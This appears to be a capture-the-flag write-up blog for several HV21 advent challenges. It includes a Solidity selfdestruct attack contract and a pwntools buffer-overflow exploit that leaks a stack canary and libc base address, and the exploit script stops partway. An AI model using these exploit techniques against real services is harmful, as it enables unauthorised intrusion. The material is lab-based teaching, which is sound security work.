$=[][({}[1]+'')[4]+({}[1]+'')[5]+({}[1]+'')[1]+({}[1]+'')[2]][({}+'')[5]+({}+'')[1]+({}[1]+'')[1]+(('.'=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[1]+((''=='')+'')[2]+({}+'')[5]+((''=='')+'')[0]+({}+'')[1]+((''=='')+'')[1]]('(ä=0);'+({}[1]+'')[4]+({}+'')[1]+((''=='')+'')[1]+'(ö '+({}[1]+'')[5]+({}[1] + '')[1]+' '+({} + '')[5]+({} + '')[1]+({}[1] + '')[1]+(('.'=='')+'')[3]+({} + '')[1]+(('.'=='')+'')[2]+((''=='')+'')[3]+'){ä+=ö}'+((''=='')+'')[1]+((''=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[2]+((''=='')+'')[1]+({}[1] + '')[1]+' ä;')();
[][({}[1] + '')[4]+({}[1] + '')[5]+({}[1] + '')[1]+({}[1] + '')[2]][({} + '')[5]+({} + '')[1]+({}[1] + '')[1]+(('.'=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[1]+((''=='')+'')[2]+({} + '')[5]+((''=='')+'')[0]+({} + '')[1]+((''=='')+'')[1]](((''=='')+'')[1]+((''=='')+'')[3]+((''=='')+'')[0]+((''=='')+'')[2]+((''=='')+'')[1]+({}[1] + '')[1]+" "+$[157]+((''=='')+'')[0]+((''=='')+'')[1]+({}[1] + '')[5]+({}[1] + '')[1]+$[5]+"."+({}[1] + '')[4]+((''=='')+'')[1]+({} + '')[1]+$[29]+$[51]+(+(1+[0]+[1]))[((''=='')+'')[0]+({} + '')[1]+$[157]+((''=='')+'')[0]+((''=='')+'')[1]+({}[1] + '')[5]+({}[1] + '')[1]+$[5]](2+[1])[1]+(('.' - 1)+'')[1]+((''=='')+'')[1]+$[51]+ ({} + '')[1]+({}[1] + '')[2]+((''=='')+'')[3]+"(72,97,99,107,118,101,110,116)")()

Flag

HV{W4NN4 G0 G0LFING T0M0RR0W?}


[HV21.11] Oversized Gifts

Thanks!

This challenge is brought to you by darkstar. Ho, ho, ho…ly cow, that’s big!

Introduction

To ensure that Santa does not have to carry such a heavy load, our elves are always trying to shrink the gifts as much as possible. New technologies are constantly being developed in our laboratories. Unfortunately, an incident occurred during a test, when restoring the original size, an error occurred and now we are no longer able to achieve the original size.

Goal

Are you able to achieve an acceptable size?

This picture is purely illustrative – we thought a bit of color might be nice ;-) Download the linked file!

Solution

This is one of the challenge which was very resource intensive and I struggled with my office laptop to solve it, as it took several hours to complete.

The challenge requests us to resize a very large image. The problem is that we cannot open the image with any tool because it is too large. Luckily, I did find a program which can open the image and does the resizing for me. With libvips the image can be resized and we get the QR code.

$vips resize 72d85b7f-4325-432e-93ff-cfdc019306c6.png out.png 0.0078125 --vips-progress
vips temp-21: 7104 x 7104 pixels, 8 threads, 128 x 128 tiles, 256 lines in buffer

Flag

HV21{You_can_never_have_enough_RAM!}


[HV21-Hidden] What? There is More?

What? You found another one? Lucky you!

Solution

The hidden challenge can be solved with the same libvips program as the main challenge. I struggled even more with my laptop here. I had to reboot the notebook, add extra swap space and keep the computer running over night to get the hidden flag.

In the large QR code a second small one is hidden. With the libvips program we can create tiles and find the second QR code inside.

$ vips dzsave --depth one --tile-size=1024 --vips-progress 72d85b7f-4325-432e-93ff-cfdc019306c6.png hidden.png

This command creates a folder with 788544 images inside! Because the QR code has more content than the other images, we can sort the folder by size and the largest file contains the hidden QR code.

Flag

HV21{It’s_like_finding_a_needle_in_a_haystack}


[HV21.12] Santa’s Shuffle

Thanks!

This challenge is brought to you by 2d3. What a beautiful mess!

Introduction

Oh no, the elves have forgotten to close the windows and the draft made mess of Santa’s code! Maybe you could clean it up?

Goal

Can you help Santa clean up this chaos?

Solution

This challenge looked pretty hard at first sight. Fortunately it wasn’t. I tried a new online tool, https://www.onlinegdb.com, to solve this challenge.

First, I beautified the code. Then, I used the debugger to step through the code. I discovered that the R(2) function call stops the application, when the input is wrong. Thus, I simply replaced all R(2) calls with 0x90 and got the flag:

#include/*502_-_zU3X)}tM1#Hq$4D"35*/<stdio.h>//W6juf:tvs.]DrIoMM(axv0@|k?+jkES5r
#define/*&jhm|0zs(*/B/*zDq|:OHcU~Dv|;7,FE)9s(Ue!5gM*/break	//v9BF(TT1Gq"19#?kJ2*H
#define/*JH8gDjl*/C(x)/*c9UOy:3*/case/*@MgHEK+94c9*/x/*bb]V+F#*/:	//u$T._.$ms'cjF
#define/*XSGrEWMy94I!VMe_n*/E(x)/*UUG9F{)zJB*/else/*CJsY*9D|SfgQ-XL*/x	//s{2GfRjU
#define/*jDdwh4pU,*/F(x)/*@48h|llEw&qpgsJl7ifhb)*/if/*ux7-7_$}9*P*/(x)	//s0qQes26
#define/*6#ZZoxYnO4xaPrjtX!?4IFw.o(J.F!aw;l1J*/G/*(K)A*N^+.p#'*/getchar//R3k7&Fz
#define/*i3pPy[qc!eLd1x*/H/*yUP"V{xqnjY*/char//9hek:99{qBf[JY4J]IQ(|uC?fP"l+vyI8
#define/*&#AH67b)-BfgJ*/I(x)/*3*N):*@uqGsPWx8qa6@m6Jh*/int x	//FR9+X'O:zMD(h4vS1I
#define/*hJ5*/N(x)/*rjl|(eQP#|z*/const/*7,XJg5(b{55*/x	//{v|REgeXz(Lt4i!ip}t$4NFO
#define/*KHZ4M6Iisfr*-*/P/*1=j~}wrY*,{Ed$LBv6RFjZL$.!~dYEQ,!nLcP*/putchar	//%cf1H
#define/*NNpSIo2OmEA~By*/R(x)/*KO5g{I.-}d4*/return/*B1W|t9J#IMl*/x	//&{GOKv%1DeOR
#define/*{2&kPmy$}*/S/*We3LM~2)9-S+vv0"]F*/switch//(d't:h%G1PW'PMq:YT$99wc'Armhm
#define/*@:ZX?_W)3Ow*/U(x)/*m.ZxP@*/unsigned/*@':qb8*/x//Z0GPh4pWKUeua|U$V0JqZz0
#define/*1b*/W(x)/*A8M{Ww*/while/*lZ8(@={auRxbu(0pQ48vR]Y*/(x)	//-gw7zlWYT.LW+rE3
N (H) * d = "\0329>\036=\016" /*FzeM,;=3;T@Ddy_k}.3$Z? */ "b\040\012!9\016"	/*uKjE"vL!jSf
								         Ua&hW[A#{mRI3s|ZsKm[9Hy */ "\034b\0377b>\035?-\036=*\xff", *b = "++T*+$T#+"
								      /*-4TuyBux
						R*/ "G++!}++g+Jn+'[{>qb+/$++S+!H+:;v+Ig+*ut"
						/*#]UMNDx7&g1Db08'fA?dG~;!$Agqcj9d7kY
						   Pb:6=LN:#n7g1^jEa(^~#Esv^?KT@_v7mv:)Gs:=84A'6d52X3:z'}Yc@ */
  ">x0+t(++({+jy$+;1_+"
  "&(+4+%D+>%2++e+@+" /*.AdT0D+}1'2Y* */ "6(E+^>+&P+:^$++{TY+#46>^+'+++)~+"	/*medVBKLr
								   |KgL,VcJT#h!C#3;YgsyYEW */ "+'eH+++)/+=+_q+/S_>2+++cdX+P"
								/*pYGWqg@*YTM,{Oz,R:lfL3A
								   jmBLNi~9D~lXv9|Ro);*^CVq6pZ&?kX6e1sY=)R;?eEO.=-jC5V */
  "<'<_X<;<<4<-&]g:>++Q.DcG>"
  "h-_*-/@i-*-2.>tw#.NG" /*Sk3NzCn9HK[Xbmh)ZBNxOU6&(4CsDo9HN */ ">-c_._>+'pk+_%d+"	/*e
											   KkKW=SK%N^sG?J{BDv]beCstKi9AM;W]dc@0;VBGPQZPK9Nm */
  ".>wHB+(+5kD+gXc++=.h[l[;q-:]"
  "9X~<u]-5{C,2o+V[fx" /*MLh3wxz0UW6UcLiirf*vwP.27~h$tpz1VBjakH-gN&!-kp */
  "A-9v>$3%"
  ">d;+Yp+~++%+{f+T+!34+PW+Oc[5X0<"	/*RDCzF8Y0i,bbWa-MjYNq+,dO=,ty#U#z{740pXD{avr@3
     MAtj */ "H(+=+#=+F+)$T+Z*C++"
  /*-MKeCw&y*_Fq)_#Ac5{o4[6f5d#~AGi&?g7YJ--Ck~fhXu*/ "J"
  "+$Y+##F>~-"			/*Th2N8[9o(MGz6[*e0=l[_ic2*]]nawirp%j%;.Qb;0di@;Y%h&_{mI~En'D,}2Trrm
							   d=88J,Te */ "9]&<A-mBq-W>'rm>S>>C+jY+Q;+x/+zm+1~"
							/*C@G9Yw-i6-^WHr#S71p1|WbfzMa(fm:
									   }--b3TC4+?h%nXX, */ "+@:+Ic+[}-<<<$_{<<A:%[$->s=>l6+4<y<7Y3[!"
									/*LBI&T.E7+oGpFdKw;2
							   MppMYs;9H8Ow0X2Rz4W_Ti*5uEta */ "-?>>!h->Wz+pg"
							/*o)Mf_X(c:X.+n@Bt0oH6kz5chq(n,SRUR
										   ag9bZh=O^^hl}-sNZa#I. */ "*<ie]dp>F)%>['->/>e>>9a+<:<$b]5)<l@<rg<a<"
										/*+E!ctUOo:,Pa
     )tGM~:G;HD@Tjb:: */ "G}'])n>M!2>>=[T:-<z<'D" /*Iqb)U?mCXJ^$3Re */
  "1<6+^>*>>]69<@=<j"
  "~[J7u-;ZD>W+{e<(c[I->Tf-B>T" /*qYD7M(S_XGcvuUL~_PekkwA5#6 */ "_+>r>?1>G>T>&%]9B"	/*
									    Lv8ZDr?RjGs;-J3~o0X'!I6;Rw#r!R9,X&;}4 */ ">n_[$S#->>p^W>J#>T>?s+7:>>A]E3$<"
									 /*=G:4V
							8=!d?OR6#j3*/ ":?4<5ER<Y<j?l<i<m<5Y@<f9]>sV>[-"
							/*'8DM^vq#_NjYs!:jP'u}{;&{(m%H~Esu
							   !;?bv;q{&0vt8$K$=iX7r)X$1@'11ozHm~)K&{zO?MV7Ni{A^?VMrm!DyyNl */
  "7e<jF3<j:+&g>>]:"
  /*{_)xTWM0gydIb*/ "7>sM>>{[N-xp>g>;+6D%<" /*1Gxb4RjC]zQl:x */ "<Y];>eH2[a>[/-Q@_"	/*5
								   klM%MTS7-G */ "<->]rZZ<X[b/*-Yw>f=t+7B<B]b]W=m>!6[[7-"
								/*t3f]*Q[;~}5t:~hG:^KO[E)&Jz
     Shorl[Y */ "xs]<FTl<<[-)}>M^+?}>o-@" /*{_)xTWgydIb */
  "}<aGu<@=]w>84[(-7'<7(P+Xlf>(;"
  ")]+" /*vv*A;-]y;yZtIPqxU2owVmKGltr{B4wb94]A2le'qZ?vrr7 */ ">(''+B+$?++J+cz+u"	/*i;U
							   {N^-iw80 */ "+$/[?33-Rq<([k't-'>>%b++6<D<9o"
							/*3MxfPEPA}iUt=WlP-Nk-jf2^x=W.qG]Ww9Kx
     #I */ "r]$K>@&>&[&-" /*h7W0!8!b'Z */ "S9<<V&+XO5>%~>}]@<IYO" /*n */ "]<ET{[}v-Y@w>ZT"	/*7
     bi)v1)FJ! */ ">f>O&A>+GT<*<q<<]~>)u>;]<5<" /*'_]6z*OTYR^C| */ "<xH_]'>%V>xnX>>b"	/*C@G
     9Yw-i6-^WHr#S71p1|WbfzMa(fm:}--b3TC4+?h%nXX, */ ">&[6L?<<L<<hW<?<"
  /*!1.oC(f3 */ "}1"
  "<gQ<I%S<<+L>>p5>{V>>N" /*@17zHqHDXY}@er9=-V%@Q#xM(Bsh=P-6N%&TR */ ">&*/>>%6&>;@"	/*
     _iTnvnJbvi$[6 */ ">p-;]j<H7<<e<x<8p<'<0u<xd<6" /*{W8~.?_~#O7#5 */
  "<[_x>3>lSh+z'/+pB"
  "++#[>98++#&++(+?Y+:o:+" /*6U */ "S+h;p<!8-?oE]{w<;&!+jn<" /*0zau:c$EPm */
  "$@-[s$h>E"
  /*n*/ "i+#}!>!?+>o@-~Gz[@>b>" /*zk-=LkVIqd8qvO9oH]wySCxT */ ")L*>y=]%gL<gHO[}"	/*Do~i
     4Co(MS!Di */ "/^[eL?>YZv+Z*<$-TR%]>>@(6+1>@]<#&" /*4BB;I;4BMN */ "<KV&<1(<<~-!"	/*.AdT
						   0D+}1'2Y* */ "]4oT]CsH>>E&>[p$}-Nv%"
						/*Ry.)ero|r7~OW43_QlZMn_^%u^l@5x)O({)p%jgC&~{5
						   BqHdfqlbVK(5{$'6O{})p'z~vcdsy:z7Yd!@Wh9JE25!+;*OfS */
  "]OtH+>4o-o-=#[H-VG[=<-Z>qw"
  "++q+*[A-(Tj]]Ko%]" /*!I */ "GQr<(%D[:+AEx+!Qc+k3" /*)# */ "+Wg+'I+++t+=+:+KK+"	/*ZSRJF
     YKk */ "Y<[a>*-}V%[>$A^+?z)>>/^]" /*mT0+D0v */ "Wak>$[L+~$[$@8<^k+YI?>24u-"	/*A_AveOM{
     5i~$OIQ */ "(Sk]9>odv+{>>uIH]j~<H<1D$<<8:" /*B]NBoj~k */ "<-T}F]PD>SP/>[<@K+C>-)I"	/*e
   *Ii,8zF5-WU08d*/ ":]x>[{-n)G[8-<w#<M[(-*}]V>^:*>7]*" /*|6Y} */
  "<o@E<a[n;c<=<#->x>$"
  "1-#Z]FC^>s>({L]X</I<6Uk[?<j"	/*u~'=sq!L0XoM!d~bojCFsx7l~){VxF}Y:viR=7MM2!%K5!T63
										   ^1pT(ja4!3Kx?z4Eh=E_Ra:'dvYBs4'@Arb */ "<+a{m>3op>-GR]7]y<;5[(-p]S<cH."
										/*Q,qTG32 */
  "'[8ZR-Rz9]b<TZ*-;:,j+" /*_iTnvnJbvi$[6*/ "S]?++:A+q((+MS+C([O"
  /*B]Nuoj~k */ "#>)+W"
  "+eL+w&+$+%r" /*{W8~.?_~#O7#5 */ "W+CUW+++{>J$O+;Y@++v#" /*0zau:c$EPm */ "m+++!0H+*"	/*
     6U */ "xr+n}$++eE++m#+(k}++" /*#]UMND&x#isa?ha@i!ofa5+465a...476'}Yc@ */
  "&++)_+9Gh+"
  "Rg+s}+)&P+b+" /*ob+W^Yl~lLu_&X{ssO4"- */ "=+q+Bx<K2<-$B]" /*c;EB*^9'j */
  ">(&y.}%k>@"
  ".UZ[2[-]s" /*ys5P.ow5z$TA~D?3E[SnjF9G"'x5$J,yC66&vdjhdd%!I+mz */ "=_<]+&#+l#++"	/*e
     0m=g */ "*+pq+ed" /*rt#|Ex^fW */ "+}+)/++y.o"	/*w;GPA++tv+x+=>+(pM+Yy_+h+92F9G"'c#x5$J
			     ,3_y<I%_M<a */ "TC[c#7-]W'";
			  /*-4Tugi5DA;?#"R(@yBuxR*/
I (main) ()
{
  P (69);			/*?LcsZnTxv7^
				 */
  P (11 * /*c;EB*^9'j */ 10);
  I (K) /*ob+W^Yl~lLu_&X{ssO4"- */  = (1 << 6) + 2, L = (	/*4I'04h5D|_+3
								   bCM%6[&[?X(N%e#[rhQI:UdJg */
							  4 << 4) + 6;
  P (58 * 2);			/*e0m=g */
  P (101);
  P ( /*@Hc#=; */ 114);;
  P (1
/*nGe5.6'*/  << 5);
  P (107) /*H2}"jhB=g2N.?aS */ ;
  P (101);
  N (H) * c = b;
  P (11				/*w=Pc4sIz2~BA;k)o
				 */  * 11);
  P (58 /*?uK[ */ );
  P (2 /*>> */  << 4);
  H /*j!jS */ k = /*S1T% */ (H) G ();
  I (i), s = 1 << 15, p = 0;
  U (H) m[1 << 15] /*@5&o%OHT]5o1aDNsgiS|x]G:+^ */  =
  {
  0};
  F (k != K /*xskgVsQ.I]?FI]=b */  || G () != L)
    0x90;//R (2);
  K = 0x34;
  k = (H) G ();
  F (k /*_^%u^l@5HdfqlbVK(*/  != K || G () != 58 * 2) 0x90;//R (2);
  k = (H) G ();
  F				/*n_#
       @j;2)$b */ (k != 104 || G () != 16 * /*l3o_{Dl^%Z^h */ 5 + 21) 0x90;//R (2);
  k = ( /*fr?BI1V9'~{?Ko */ H) G ();
  F (k != 0x57 || G () != 4 * 25 + 5 /*Mc0%{OfEl'%FL~);?;)l */ )0x90;//R (2);
  k = (H) G ();
  F (k != 0x4E || G () != 36) 0x90;//R (2);
  k = (H) G ();
  L = 105;
  F (k != 82 || G () != L) 0x90;//R (2);
  k = (H) G ();
  F (k != 103 || G () != k + 1) 0x90;//R (2);
  k = (H) G ();
  F (k != 7 * 16 + 4 || G () != (2 << 5) - 1) 0x90;//R (2);
  W (*c != 0) /*1+GSg7D+r4SgGh+ */
  {
    S (*(c++))
    {
      C (43)++ m[p];		/*Qe_nbD:7]bO~l */
      B;
      C (44) m[p] = *d != 0 ? *(d++) : 0;
      B;
      C (45)-- m[p];		/*f% */
      B;
      C (46) P (m[p]);
      B;
      C (60) p = (p + s - 1) % s;
      B;
      C (62) p = (p + 1) % s;	/*ys5P.ow5z$F9G"'x5$J,yC66&vI+mz */
      B;
      C (91) F (!m[p])
      {
	i = 0;
	W			/*Q.4UI339&#yPNH|ldo*giA;?#"R(@7|Eklhk!.)Ny:@UKg6w~-vm?HCy{oicbwuO
				   A1Ki^;=45SS@ */ (1)
	{
	  F (*c == 0) R (1);
	  F (*(c++) != 93 || --i >= 0)
	  {
	    F (*(c - 1) == 91)++ i;
	  }
	  E (B);
	}
      }
      B;
      C (93) i = 0;
      --c;
      W (1)
      {
	F (c < b) R (1);
	F (*c			/*rt#|Exchjw6AcX1HkOsP~S&$&mazkig1,"g;Di2GjM;=2
				   W7;_=JhX$i18J3cg]]6FQKmi(|Ok^fW */  != 91 || --i > 0)
	{
	  F (*(c--) == 93)++ i;
	}
	E (B);
      }
      B;
    }
  }
  R (0);
}

Flag

HV21{-HidDeN-bRaiNF-Ck-dEcoDer-}


[HV21.13] Super Smart Santa

Thanks!

This challenge is brought to you by kuyaya. Super smart indeed!

Introduction

Santa wanted to be modern, so he asked his elves to transfer his gift contracts to Solidity. Did they do well?

Goal

Complete the contract! Meaning: set isComplete to true.

Hint

  • Santa is using the Ropsten Testnet so you don’t become poor ;-)
  • To interact with the contract, Santa recommends using Remix & Metamask
  • Be sure to set the environment to Injected Web3
  • “At Address” in Remix is a clickable button, you use it to interact with a contract.

Solution

A Blockchain challenge, very nice! To solve this challenge I worked with the remix application and the Metamask wallet. On the website of the challenge we can see the Solidity code of the running contract and we can directly deploy the smart contract from there.

pragma solidity 0.4.22;

contract Santa {
	uint24 a;
	bytes32 b = 0x0619c10213c814eba28106f6c2472c5853b55a7c25855da514b806efc1128e55;
	bool public isComplete;
	bool c;
	uint256 d;

	constructor() public payable {
		require(msg.value == 0.0000000000000001 ether);
		d = msg.value;
	}

	function e() public {
		if (keccak256(a) == b){
			isComplete = true;
		}
	}
	function f(int24 g) public{
		require(c);
		a = uint24((0xdeadbeef) <<- (-31337) % 1337 >> (188495400 / 314159)) + uint24(g);
	}

	function h() public {
		uint256 i = d - address(this).balance;
		require(i > 0);
		c = true;
	}
}

The goal of the challenge is to interact with the smart contract and set the isComplete flag to true. Apparently we need to run the function h(), f() and then call e() to set the isComplete flag.

The first problem is, that we cannot interact with the contract, as there is no Ether stored in the contract. I solved this issue by creating my own smart contract, self-destructing this contract and send the remaining ether to the target contract of the challenge. Don’t forget to deploy your own contract with enough Ether in it, otherwise it will not work. This attack is documented on this website: https://solidity-by-example.org/hacks/self-destruct/.

pragma solidity ^0.8.10;

contract Attack {
    uint256 d;

    constructor() public payable {
		d = msg.value;
	}

    function attack() public payable {
        // cast address to payable
        address payable addr = payable(address(0xA15b278b7D804a0eda1a726Ba96f8688CDbC8E01));
        selfdestruct(addr);
    }
}

Now we have enough Ether on the target smart contract to execute all the functions. First we need to figure out what parameter to send to the function f(), in order to get the right keccak256() hash for “a”:

"0x0619c10213c814eba28106f6c2472c5853b55a7c25855da514b806efc1128e55"

I wrote a Python program to calculate the right value for f():

import hashlib
from Crypto.Hash import keccak
import binascii

correct_hash = hex(int(0x0619c10213c814eba28106f6c2472c5853b55a7c25855da514b806efc1128e55))

def f(g):
	#this just calculates +228022 ?
	#a = int(int(0xdeadbeef) <<- (-31337) % 1337 >> int(188495400 / 314159)) + int(g)
	a = g + 228022

	#convert signed integer to hex
	a = hex(a & 0xffffff)[2:]
	# ugly
	if not ((len(a) % 2) == 0):
		a = "0"+a
	a = binascii.unhexlify(a)
	return hex(int(keccak.new(data=a, digest_bits=256).hexdigest(), 16))


x = f(-2406872)
if x == correct_hash:	
	print("[!] Correct number found: " + str(x))



x = -2406800
while x > -2500000:
	res = f(x)
	print("[+] Trying: " + str(x))
	if res == correct_hash:
		print("[!] Correct number found: " + str(x))
		break
	x -= 1

The Python script returns “-2406872” as the correct parameter for f(). Finally, we can call the functions in the right order (h(), f(-2406872), e()) and get the flag.

Flag

HV21{sm4rt->sm4rter->y0u}


[HV21.14] Santa’s Wish Service

Thanks!

This challenge is brought to you by sm4sh1t. Best wishes!

Introduction

Santa’s elves attended a programming course. With their new skills they started implementing a service which can be used by everyone to hand in their Christmas wishes. The elves don’t have any experience in such tasks, so they are hoping that nobody makes their heart bleed.

Goal

Can you break the service and get their secret?

Resources

You’ll probably need these files

Solution

Binary exploitation at day 14, this felt way too hard for a medium challenge… I really like solving these kind of challenges, although it is super hard for me because I lack practice. Thus, I am even happier to have solved this challenge in time.

I tackled this challenge using PEDA in gdb, PwnTools for Python, Ghidra for disassembling and ropper to find the rop gadgets. Moreover, the following resources did help me a lot!

The first thing I did, was to analyze the binary file itself.. And poah, almost all protection mechanisms are enabled. The libc.so of the server is provided too, this means that most likely ASLR is enabled on the server. We have a 64 bit Linux ELF binary, with the following protection mechanism enabled:

Program flow:

Next, I took a look at the binary file in Ghidra:

We can see on line 9, that the variable “local_d8” is an array with the length of 200 (decimal). On line 17 we have the selection for the menu, on line 20 we read the amount of wishes.

Line 23 reads 0x200 (hexadecimal !) to the variable “local_d8”! We initialized the variable with 200 decimal and now we can write 0x200, which is 512 in decimal, to the array. This means we can overflow the variable “local_d8” by 312 bytes! This is the buffer overflow of the program.

On line 25 there is a write of the variable “local_d8” to the output window, the size of bytes which will be written however is specified in the variable “local_da”. Exactly, this comes from our input “amount of wishes”. Which means, that we can specify a high amount of wishes and only input a few characters to the input of wishes and get allocated memory in return. In addition to the buffer overflow, we have a memory leak in the program. Perfect starting point for circumventing the protection mechanisms in place!

Let’s try out both errors in the program. Buffer overflow:

Memory leak:

Step 1 – Circumvent stack canary

Main tutorial used: https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/

The stack canary is written on the stack between the variables and the instruction pointer. If we happen to find a buffer overflow and overwrite the instruction pointer the stack canary will be overwritten too. The program crashes with “Stack smashing detected”, exactly as shown in the print screen above. To circumvent this, we need to read the stack canary with the memory leak and write it back, when we overflow the buffer. In a 64 bit ELF binary the stack canary is 8 bytes long and typically starts with 0x00. Let’s see if we can find the canary with the hexdump() function of pwntools:

from pwn import *
from struct import pack

p = gdb.debug('./hv21_santas_wish_service', 'c')
#p = process("./hv21_santas_wish_service")
binary = ELF('./hv21_santas_wish_service')
context.binary = binary
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.update(arch='amd64', os='linux')
p.clean()
p.sendline(b'1')
print(p.recvline())
p.sendline(b'300')
print(p.recvline())
p.sendline(b'A'*199)

# get canary
memory_dump = p.recvuntil(b' 1: Send \xf0\x9f\x8e\x85 a wish\n')
canary = memory_dump[246:254]
print(hexdump(memory_dump))

In this case the stack canary is directly after my input “AAA…” (… 0x41 0x41 0x0a): 0x008d57aeea482121. Now we read this dynamically and put it back in place:

from pwn import *
from struct import pack

p = gdb.debug('./hv21_santas_wish_service', 'c')
#p = process("./hv21_santas_wish_service")
binary = ELF('./hv21_santas_wish_service')
context.binary = binary
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.update(arch='amd64', os='linux')
p.clean()
p.sendline(b'1')
print(p.recvline())
p.sendline(b'300')
print(p.recvline())
p.sendline(b'A'*199)

# get canary
memory_dump = p.recvuntil(b' 1: Send \xf0\x9f\x8e\x85 a wish\n')
canary = memory_dump[246:254]
print(hexdump(memory_dump))
print("[--> Found Stack Canary: " + str(canary.hex()))

p.sendline(b'1')
print(p.recvline())
p.sendline(b'300')
print(p.recvline())

p.sendline(b'A'*200+canary+b'B'*300)

p.recvuntil(b'2: Exit')
p.recvline()
p.sendline(b'2')
p.interactive()

We can see that we can trigger the overflow and no smash detection happens anymore:

The next step is about finding the right spot for the payload. With “pattern_create” and “pattern_offset” we can figure this out.

$ pattern_create.rb -l 800
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
from pwn import *
from struct import pack
import os

corefile = "core.hv21_santas_wis"
if os.path.exists(corefile):
	os.remove(corefile)

#p = gdb.debug('./hv21_santas_wish_service', 'c')
p = process("./hv21_santas_wish_service")
binary = ELF('./hv21_santas_wish_service')
context.binary = binary
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.update(arch='amd64', os='linux')
p.clean()
p.sendline(b'1')
print(p.recvline())
p.sendline(b'300')
print(p.recvline())
p.sendline(b'A'*199)

# get canary
memory_dump = p.recvuntil(b' 1: Send \xf0\x9f\x8e\x85 a wish\n')
canary = memory_dump[246:254]
print(hexdump(memory_dump))
print("[--> Found Stack Canary: " + str(canary.hex()))

p.sendline(b'1')
print(p.recvline())
p.sendline(b'300')
print(p.recvline())

p.sendline(b'A'*200+canary+b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba')

p.recvuntil(b'2: Exit')
p.recvline()
p.sendline(b'2')
p.interactive()

#debug directly with pwntools
#sudo bash -c 'echo core.%e > /proc/sys/kernel/core_pattern'
core = Coredump(corefile)
print("RIP: " + str(hex(core.rip)))

We now know the offset, which is 8!

Step 2 – Find libc base-address

Before actually doing step 2, I tried to disable ASLR locally and generate a payload to get a local shell. This didn’t work, because of the PIE security implementation. PIE randomizes internal application memory addresses and therefore the ROP gadgets which I found with ropper don’t work. After some time I found out, that circumvention of PIE is not necessary at all. With the memory leak we can directly leak the libc base address of the system and generate a ROP chain directly to libc. Combining all this, we are able to generate our final payload.

At the offset +8, which we determined before, we find the return address of the main function of the provided ELF binary. This return address references back to the libc and therefore we can leak the libc-base-address of the running system!

We disassemble the __libc_start_main function and we find the right offset at +243.

Note, that the correct libc address always ends with 0x00. I modified the Python script to calculate the libc base address:

from pwn import *
from struct import pack

p = process("./hv21_santas_wish_service")
binary = ELF('./hv21_santas_wish_service')
context.binary = binary
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

context.update(arch='amd64', os='linux')
p.clean()
p.sendline(b'1')
print(p.recvline())
p.sendline(b'300')
